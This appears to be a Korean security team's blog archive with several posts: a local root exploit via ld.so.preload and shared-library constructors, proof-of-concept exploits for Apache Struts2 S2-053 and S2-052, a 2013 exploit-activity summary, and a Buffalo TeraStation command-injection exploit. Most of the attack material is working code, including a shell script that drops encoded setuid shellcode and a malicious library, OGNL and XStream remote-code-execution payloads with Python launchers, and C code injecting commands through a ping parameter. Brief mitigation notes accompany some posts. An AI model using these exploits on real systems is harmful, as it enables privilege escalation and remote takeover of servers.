Exploit Writing Technique #4: Applied Exploits

기획 연재 2018. 1. 24. 20:40 Posted by TEAMCR@K


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.


● GCC syntax를 사용한 Constructor의 구현

● 선적재 라이브러리


위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.


(1) N.Korea RedStar 2.0 Incorrect permission local root exploit


지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.



exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.


붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.


exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다. 


[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴


exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.   


[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit


(2) Insecure file creation vulnerability


root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.


/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>


int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];


        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);


        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}


위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.

다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.


[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작


위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다. 

기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.


공격을 위한 기본 시나리오는 아래와 같습니다.


1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)


다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.


#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"


echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"


rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2


echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}


if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi


# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK


# setup umask

umask 0000


./TeamCRAK 2>/dev/null &


if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null


if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi


다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.


[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승


위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.



보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?

fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.

다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.


[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과


setuid bit가 걸린 프로그램은 프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.

자! 지금까지 저희 TeamCR@K이 준비한 "Exploit Writing Technique"이 마무리가 되었습니다.
재미있게 보셨는지 모르겠습니다. :)
저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.
비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며, 
의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)

읽어주셔서 감사합니다!


daesun8292@a3security.com

TeamCR@K

황대선 선임컨설턴트


취약점 번호 : CVE-2017-12611(S2-503)

영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10

영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32


개요

 - Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견


내용

 - FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점

 - 매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.


Freemarker 란?

 - 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.

 - 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다. 

 - 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.


Freemarker 구조

 - FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.

[그림 1] Freemarker 구조


Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}


freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.

[그림 2] freemarker 취약점이 존재하는 환경 구성


name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.

[그림 3] freemarker취약점이 존재하는 소스코드 확인


웹 프록시를 이용하여 GET -> POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.

[그림 4] 취약점 테스트 확인


공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 5] RCE발생 확인


Python 소스코드

# -*- coding:utf-8 -*-

import sys

import requests

from urllib import quote


def exploit(url,cmd):

    payload = "%{"

    payload += "(#_='multipart/form-data')."

    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    payload += "(#_memberAccess?"

    payload += "(#_memberAccess=#dm):"

    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

    payload += "(#ognlUtil.getExcludedPackageNames().clear())."

    payload += "(#ognlUtil.getExcludedClasses().clear())."

    payload += "(#context.setMemberAccess(#dm))))."

    payload += "(#cmd='%s')." % cmd

    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

    payload += "(#p.redirectErrorStream(true))."

    payload += "(#process=#p.start())."

    payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."

    payload += "}"

 

    data={

        "name" : payload,

        }

    print(data)


if __name__ == "__main__":

    if len(sys.argv)!= 3:

           print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])

           sys.exit(0)

 

    print "[*] exploit Apache Struts2 S2-053"

    url = sys.argv[1]

    cmd = sys.argv[2]

 

    exploit(url, cmd)


[그림 6] 작성한 공격코드 실행


프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)

[그림 7] 요청 값 확인


[그림 8] /usr/bash 명령어 실행


[그림 9] /usr/sbin/ifconfig 명령어 실행


[그림 10] ifconfig 명령어 응답


대응 방안

 - 취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)

 - 읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)

 - freemarker 미사용

dkgang@a3security.com

TeamCR@K
강다경 컨설턴트 (A.K.A 따구)


1. 취약점 개요

Apache struts2에서 REST Plugin을 이용해 통신할 때 공격자가 임의의 명령어를 전송할 경우 데이터에 대해 체크 없이 deseriallize되어 서버에서 해당 명령어가 실행이 되는 RCE(Remote Code Execute)가 가능한 취약점 입니다.


2. 영향을 받는 제품 및 버전

  - Apache Struts 2.1.2~2.3.33

  - Apache Struts 2.5~2.5.12


3. PoC 테스트 환경

 Server(victim) - 192.168.44.135

  - CentOS Linux 7

  - Apache Tomcat 7.0

  - Apache Struts 2.3.15.1

 Client(Attacker) - 192.168.44.134

  - Kali Linux 4.9


4. PoC 테스트

먼저 GET에서 POST로 method를 변경한뒤,

header 에 Content-Type 을 application/xml 로,

Data에 XML payload를 삽입하여 요청패킷을 전송합니다.

이번 테스트는 서버에서 firefox가 실행되도록 명령어를 전송하였습니다.


[그림 1] payload전송 - 1


[그림 2] payload전송 - 2


서버에서 RCE(Remote Code Execute)가 발생하여 firefox가 실행되는 것을 확인하였습니다.

[그림 3] RCE로 firefox실행 확인


payload를 이용하여 다음과 같이 공격코드를 작성하였습니다.

import requests

import sys


def exploit(url, cmd):

    url = url

    cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])

    payload = """

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        {0}

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer/>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

""".format(cmd)

    headers = {

        'Referer': str(url),

        'Content-Type': 'application/xml',

        'Accept': '*/*'

    }

    timeout = 3

    try:

        output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text

    except Exception as e:

        print("@@EXCEPTION:" + str(e))

        output = 'ERROR'

    return(output)



if __name__ == '__main__':

    if len(sys.argv) != 3:

        print "usage:python %s <url> <cmd>"%(sys.argv[0])

        sys.exit(0)


    print "[*] exploit Apache Struts2 S2-052"

    url = sys.argv[1]

    cmd = sys.argv[2]


    print "[*] URL:%s" %url

    print "[*] CMD:%s" %cmd


    exploit(url, cmd)


작성한 코드를 이용하여 정상적으로 Reverse Connection이 가능한 것을 확인하였습니다.

[그림 4] 공격코드를 이용해 Reverse Connection가능 확인


5. 조치 방법

 - Struts 2.5.13 혹은 2.3.34 버전으로 업그레이드

 - 사용하지 않는 REST 플러그인 삭제

 - XML 지원 삭제


6. patche 분석

Rest Plug-in 구성을 살펴보았습니다.

[그림 5] Rest Plug-in 구성 확인


patche 전 버전과 patche 후 버전의 XstreamHandler.class를 비교해 보았습니다.

XML 문서의 데이터가 XStream desrialization을 하는 동안 방지하기 악의적인 명령이 실행되는 것을 방지 하기 위해 허용목록이 지정되어 있습니다.

[그림 6] S2-052 취약점 패치 전, 후버전의 XstreamHandler.class 비교


7. 참조

https://struts.apache.org/docs/s2-052.html

https://medium.com/@0x00pentester/apache-struts2-rce-cve-2017-9805-4c6f58b622cb


날씨가 점점 더워지고 있습니다~

요즘 사무실 내부에서는 에어컨을 풀가동 시키고 있네요.

날씨도 더운데 일하랴 개인연구 하랴 바쁜 가운데 2013년 상반기의 TeamCR@K 내부 활동 정리해 보았습니다~


2013년 상반기에는 각종 프로젝트가 끊이지 않아서 개인 연구나 기타 공동 연구작업이 원활치 않았습니다.

그 와중에도 개인시간을 내어 버그헌팅을 하고 exploit 제작을 하거나, 프로젝트에 투입 중간에도 솔루션의 취약점을 찾아 0day exploit을 만든적도 있었습니다.


다음은 저희 TeamCR@K에서 금년 2013년 상반기 버그헌팅 및 0day exploit 작성과 관련한 내역을 정리한 것입니다.


Date 

Exploit Name 

Classification 

 Summary

 2013.02.22

 DoubleQuarterPounderCheese-130222.c

 0day

 Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit

 2013.05.24

 XE-LFI-1day_fr33p13.py

 1day

 Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)

 2013.05.31

 ********-insecure_file_creation.pl

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.05.31

 ********-symlink_follow.sh

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.06.10

 hurse.sh

 0day

 Remote Command execution exploit ${PROTECTED_COMMAND} in ${PROTECTED_SOLUTION}

 2013.06.11

 -

 0day

 Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


* Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit


Buffalo에서 만든 TeraStation이라는 NAS 서버에서 취약점을 발견하여 이를 자동화 하는 exploit을 구현했었습니다.

NAS라는 내부장비에서 root 권한의 명령어를 실행 할 수 있는 취약점으로 버그헌팅 당시 NAS 솔루션의 외부 침입 위험을 진단하는 관점보다는 스마트폰의 Jail Break와 같은 관점으로 버그헌팅을 시작했었습니다.


exploit 이름이 DoubleQuarterPounderCheese.c 인 이유는 exploit 작성 당시.. 야식으로 맥**드의 버거를 먹었다는 후문이... ^^;


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/365


* Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)


2013년 5월 13일 KISA 홈페이지를 통해 Zeroboard XE 관련 LFI 취약점에 대해 패치권고가 올라왔었습니다.

당시 TeamCR@K 김모군(fr33p13)은 패치된 코드를 디핑하여 취약점 내용을 구현하는 테스트를 진행했었습니다.

어찌어찌해서 웹 쉘을 올리는 코드가 실행되고 이에 대해 파이썬으로 자동화 exploit을 구현까지 했었네요.


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/369


* Multiple Vulnerabilities in SOLUTION


본 내용은 모의해킹 수행 중 발견한 솔루션 0day 취약점으로 Local privilege escalation 취약점 2종과 Remote command execution 취약점 1종을 발견하고, 이와 관련하여 exploit을 작성 및 별도의 보고서를 고객사로 송부하였습니다.





원격명령실행 취약점과 관련한 exploit은 초기 이름이 hurse.sh 였는데..

동일 프로젝트에 소속된 정모군과 박모군이 이미 권한상승취약점에 대한 exploit을 작성하고 난 이후..

정모군曰 "오! 이거 될 것 같다. 오늘 내가 이거 원격 명령 실행 취약점 나오면 exploit한다"고 했더니..

이 말을 들은 박모군이 이랬답니다.



허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬!


...

그 말에 빡친 정모군은 후일 hurse.sh라고 이름 붙인 exploit을 팀원 모두에게 공유했는데 나중에 박모군은 "허세 아닌 패기"라며 발뺌했다고 하네요!


Unix/Linux 서버용 daemon을 만들고 이를 유지보수 할 때에는 여러모로 보안에 신경써야 하는 부분이 많습니다.

특히 Port를 열고 통신을 하는 daemon의 경우 보안취약점이 존재할 경우 해당 취약점을 자동으로 공격하는 스크립트로 대량의 서버접근권한을 탈취당할 수 있고 이런 서버들은 불법적인 공격에 이용당할 수 있습니다.

솔루션의 경우에는 정식 빌드 이전이나 정식 서비스 오픈 이전, 이러한 보안취약점들을 사전에 차단할 수 있도록 보안성검토와 같은 작업을 통해 보안취약점들을 걸러낼 수 있습니다.


* Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


해당 취약점은 아직 exploit까지는 만들어지지 않았지만 SSL 통신을 하는 NAS의 특정 바이너리 형태를 그대로 소스코드로 복원하여 root 권한의 명령어를 실행시킬 수 있는 취약점이라고 합니다. 자세한 사항은 추후 exploit을 작성 한 후 블로그에 올리도록 하겠습니다.


프로젝트로 심신이 고달픈 가운데 개인연구에 힘 쓰는 TeamCR@K 멤버들이 있네요.

날씨도 더운데 몸 상하지 않게 오래오래 같이 연구했으면 좋겠습니다~

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

